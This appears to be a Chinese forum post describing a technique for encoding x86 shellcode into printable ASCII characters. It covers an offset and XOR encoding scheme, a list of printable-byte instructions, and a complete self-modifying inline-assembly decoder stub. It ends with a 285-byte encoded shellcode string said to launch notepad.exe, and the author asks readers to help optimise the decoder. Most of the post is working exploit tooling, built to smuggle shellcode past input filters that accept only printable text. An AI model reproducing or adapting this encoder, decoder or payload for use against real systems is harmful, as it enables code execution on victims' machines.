初来乍到,发此一篇,请勿见笑 

一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。

ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii:      0x00      0x20  0x21               0x7E 0x7F                0xCF 0xD0        0xFF
             left-invalid      valid(!= '"' ...)          right-invalid          left-invalid

若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。

编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'

1. sc[i] ^= xor_byte(ascii);

2. if (sc[i] is left-invalid ascii) 
   => left_flag ('0')
   => sc[i] -= left_offset [0x51, 0x5E]

3. if (sc[i] is right-invalid ascii) 
   => right_flag ('1')
   => sc[i] -= right_offset [0xA3, 0xB0]

4. if (sc[i] is valid ascii) 
   => sc[i]

5. => "01" // end

注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。

二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '\\' ...

可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:

1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub     al, 立即数
sub     byte ptr [eax... + 立即数], al dl...
sub     byte ptr [eax... + 立即数], ah dh...
sub     dword ptr [eax... + 立即数], esi edi
sub     word ptr [eax... + 立即数], si di
sub     al dl..., byte ptr [eax... + 立即数] 
sub     ah dh..., byte ptr [eax... + 立即数]
sub     esi edi, dword ptr [eax... + 立即数]
sub     si di, word ptr [eax... + 立即数]

3.逻辑运算:
and     al, 立即数
and     dword ptr [eax... + 立即数], esi edi
and     word ptr [eax... + 立即数], si di
and     ah dh..., byte ptr [ecx edx... + 立即数]
and     esi edi, dword ptr [eax... + 立即数]
and     si di, word ptr [eax... + 立即数]

xor     al, 立即数
xor     byte ptr [eax... + 立即数], al dl...
xor     byte ptr [eax... + 立即数], ah dh...
xor     dword ptr [eax... + 立即数], esi edi
xor     word ptr [eax... + 立即数], si di
xor     al dl..., byte ptr [eax... + 立即数] 
xor     ah dh..., byte ptr [eax... + 立即数]
xor     esi edi, dword ptr [eax... + 立即数]
xor     si di, word ptr [eax... + 立即数]

4.比较指令:
cmp     al, 立即数
cmp     byte ptr [eax... + 立即数], al dl...
cmp     byte ptr [eax... + 立即数], ah dh...
cmp     dword ptr [eax... + 立即数], esi edi
cmp     word ptr [eax... + 立即数], si di
cmp     al dl..., byte ptr [eax... + 立即数] 
cmp     ah dh..., byte ptr [eax... + 立即数]
cmp     esi edi, dword ptr [eax... + 立即数]
cmp     si di, word ptr [eax... + 立即数]

5.转移指令:
push  56h
pop    eax
cmp    al, 43h
jnz    lable

<=> jmp lable

6.交换al, ah
push  eax
xor    ah, byte ptr [esp]    // ah ^= al
xor    byte ptr [esp], ah    // al ^= ah
xor    ah, byte ptr [esp]    // ah ^= al
pop    eax        

7.清零:
push  44h
pop    eax
sub    al, 44h    ; eax = 0

push  esi
push  esp
pop    eax
xor    [eax], esi  ; esi = 0

三、解码

代码:
// ascii_encoder
#define ascii_left_invalid_flag_    '0'
#define ascii_right_invalid_flag_    '1'
#define ascii_left_offset_        54h
#define ascii_right_offset_1_      46h
#define ascii_right_offset_2_      5Dh    // ascii_right_offset_2_ = ascii_right_offset_1_ + ascii_right_offset_2_
#define ascii_xor_byte_          21h
#define  ascii_base_offset        02h

void decoder()
{
  __asm jmp sc_end
  __asm sc_begin:
  __asm
  {
    //int    3                // note: edx == base address + 1

    /////////////////////////////////////////////////////////////////////////////////
    // base address

    // ascii_base_offset == 09h
    /*
    dec    esp                    // base address: [esp - 8]
    dec    esp
    dec    esp
    dec    esp
    dec    esp              
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 05h
    /*
    dec    esp                    // base address: [esp - 4]
    dec    esp
    dec    esp
    dec    esp
    pop    edx
    */

    // ascii_base_offset == 01h
    /*
    pop    edx                    // base address: [esp]
    */

    // ascii_base_offset == 02h
    /*
    pop    edx                    // base address: [esp + 4]
    pop    edx
    */

    // ascii_base_offset == 03h
    /*
    pop    edx                    // base address: [esp + 8]
    pop    edx
    pop    edx
    */

    // ascii_base_offset == 02h
    push  ecx                    // base address: ecx
    pop    edx                    // base address => edx

    /////////////////////////////////////////////////////////////////////////////////
    // padding + n bytes        
    //aaa                      // 37h
    //aaa                      // 37h
    //xor    [eax],  dh              // 30h 30h
    //xor    [eax],  dh
    //xor    [eax],  dh
    //xor    [eax],  dh
    /////////////////////////////////////////////////////////////////////////////////

    /////////////////////////////////////////////////////////////////////////////////
    // shellcode address
    push  esi
    push  esp
    pop    ecx
    xor    dword ptr [ecx], esi          // 0 => [esp]
    push  51h + ascii_base_offset
    pop    esi
    sub    dword ptr [ecx], esi          // [esp] -= shellcode_offset(60h + ascii_base_offset)
    pop    esi                    // -shellcode_offset => esi

    push  edx                    // base_addr => [esp]
    sub    dword ptr [esp], esi        
    pop    esi                    // base_addr + shellcode_offset == shellcode address => esi
    
    push  esi
    pop    edi                    // esi => edi

    /////////////////////////////////////////////////////////////////////////////////
    // code decoder
    push  7Dh
    pop    ecx
    sub    byte ptr [edx + 36h + ascii_base_offset], cl  // decode: cld == FCh == 79h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 37h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 3Ch + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 47h + ascii_base_offset], cl  // decode: lod** == ACh == 29h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Eh + ascii_base_offset], cl  // decode: sto** == AAh == 27h - 7Dh
    // +3 bytes

    sub    byte ptr [edx + 4Fh + ascii_base_offset], cl  // decode: jmp decode_loop == EBh E6h
    sub    byte ptr [edx + 50h + ascii_base_offset], cl  // decode: EBh == 68h - 7Dh, E6h == 63h - 7Dh
    // +6 bytes

    push  44h
    pop    ecx
    sub    byte ptr [edx + 3Bh + ascii_base_offset], cl  // decode: jnz next == 75h 07h == 75h (4Bh - 44h) 
    // +7 bytes

    sub    byte ptr [edx + 40h + ascii_base_offset], cl  // decode: jz end == 74h 10h == 75h (54h - 44h) 
    // +3 bytes

    sub    byte ptr [edx + 46h + ascii_base_offset], cl  // decode: jnz normal_char == 75h 05h == 75h (49h - 44h) 
    // +3 bytes

    /////////////////////////////////////////////////////////////////////////////////

    _emit  79h                    // cld
    //cld

  decode_loop:
            
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_left_invalid_flag_
    
    _emit  75h
    _emit  4Bh                    //jnz next
    //jnz    next

    /////////////////////////////////////////////////////////////////////////////////
    // left-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    cmp    al, ascii_right_invalid_flag_      // if (al == ascii_right_invalid_flag_)
    _emit  74h
    _emit  54h                    // "01"(end) => jz end
    //jz    end            

    sub    al, ascii_left_offset_          // decode: al -= ascii_left_offset_

    //jmp    normal_char
    //al == ascii - ascii_left_offset_ != ascii != ascii_right_invalid_flag_(acsii)
    /////////////////////////////////////////////////////////////////////////////////
    
  next:
    cmp    al, ascii_right_invalid_flag_

    _emit  75h
    _emit  49h                    //jnz normal_char
    //jnz    normal_char

    /////////////////////////////////////////////////////////////////////////////////
    // right-characters decoder
    _emit  29h                    // lod**
    //lod**                      // [esi] => al and ++esi 

    sub    al, ascii_right_offset_1_
    sub    al, ascii_right_offset_2_        // decode: al -= right_byte_

    /////////////////////////////////////////////////////////////////////////////////

  normal_char:
    xor    al, ascii_xor_byte_            // xor-decoder

    _emit  27h                    // sto**
    //sto**                      // al => [edi]

    _emit  68h
    _emit  63h                    // jmp decode_loop
    //jmp decode_loop

  end:
                            // old shellcode address <= esi, edi

  }

  __asm sc_end:
  unsigned int scLen;
  unsigned char* sc;
  __asm
  {
    lea eax, sc_begin
    mov sc, eax
    lea ebx, sc_end
    sub ebx, eax
    mov scLen, ebx
  }

  unsigned char sc_buf[2048];
  memcpy(sc_buf, sc, scLen);

  printf("decoder:\n%s\n", sc_buf);

  __asm
  {
    lea    ecx, sc_buf
    push  ecx
    ret
  }
}
以下这段是经过编码后的通用shellcode, 
执行后启动的notepad.exe:

// base address => esp => jmp esp
// 285 bytes
char shellcode[]=  
"TZVTY11jS^)1^R)4$^V_j}Y(J8(J9(J>(JI(JP(JQ(JRjDY(J="
"(JB(JHy)<0uK)<1tT,Y<1uI),%,~4;'hc" // decoder
"0)LdQ0db_1S:1S{71SK'191SS31S1oQ8b0,,;;;021eSKZ_;SU"
"TO^1S0XQ:k1gm?1gm3jm1SN0`1SO0nC81qm1SM0t81q0a0Krz1"
"980W0a0941(+0Z0FO30S0I<80:{0)1m0Y$N05e1Se0x80?]1S7"
"p1Se'80?1S?1S80W13eb0Q0,1b1g1g1g0bO1M7j0m1<:X1U0Ct0"
"1"
;


注:编码后的大小为原码的1.3 - 1.5倍左右,还算不错,不过由于本人汇编功底不深,
decoder写得过于庞大,希望大家帮我优化优化,而且这种方法有其局限性,只能进行
字母与符号的混合编码。